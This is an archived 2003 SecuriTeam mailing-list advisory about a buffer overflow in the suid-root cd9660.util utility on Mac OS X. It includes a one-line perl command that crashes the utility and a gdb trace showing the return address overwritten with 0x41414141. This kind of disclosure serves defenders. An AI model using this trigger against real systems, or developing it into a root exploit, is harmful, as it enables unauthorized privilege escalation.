[NEWS] Buffer Overflow Allows Privileges Escalation in MacOS X

From: SecuriTeam (support_at_securiteam.com)
Date: 12/18/03

  • Next message: SecuriTeam: "[UNIX] AutoRank PHP SQL Injection Vulnerabilities"
    To: list@securiteam.com
    Date: 18 Dec 2003 17:21:20 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      Buffer Overflow Allows Privileges Escalation in MacOS X
    ------------------------------------------------------------------------

    SUMMARY

    Some parts of MacOS X that did not come from BSD, as such, they contain
    significant security issues, and an example of this is the
    /System/Library/Filesystems/cd9660.fs/cd9660.util utility. This utility is
    suid root and is vulnerable to a classic buffer overflow due to the lack
    of input validation.

    DETAILS

    Demonstration:
    sdsx:/System/Library/Filesystems/cd9660.fs max$ ls -la cd9660.util
    -rwsr-xr-x 1 root wheel 20476 23 Sep 23:53 cd9660.util

    sdsx:/System/Library/Filesystems/cd9660.fs max$ ./cd9660.util -p `perl -e
    "print 'A'x512"` Segmentation fault

    sdsx:/System/Library/Filesystems/cd9660.fs root# gdb -core
    /cores/core.1405 ./cd9660.util [gdb banner here]
    Reading symbols for shared libraries .... done
    Core was generated by `./cd9660.util'. #0 0x9000d360 in strcat ()
    (gdb) where
    #0 0x9000d360 in strcat ()
    #1 0x00002b84 in main ()
    #2 0x41414141 in ?? ()

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:rusmir@tula.net> Max.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[UNIX] AutoRank PHP SQL Injection Vulnerabilities"

    Relevant Pages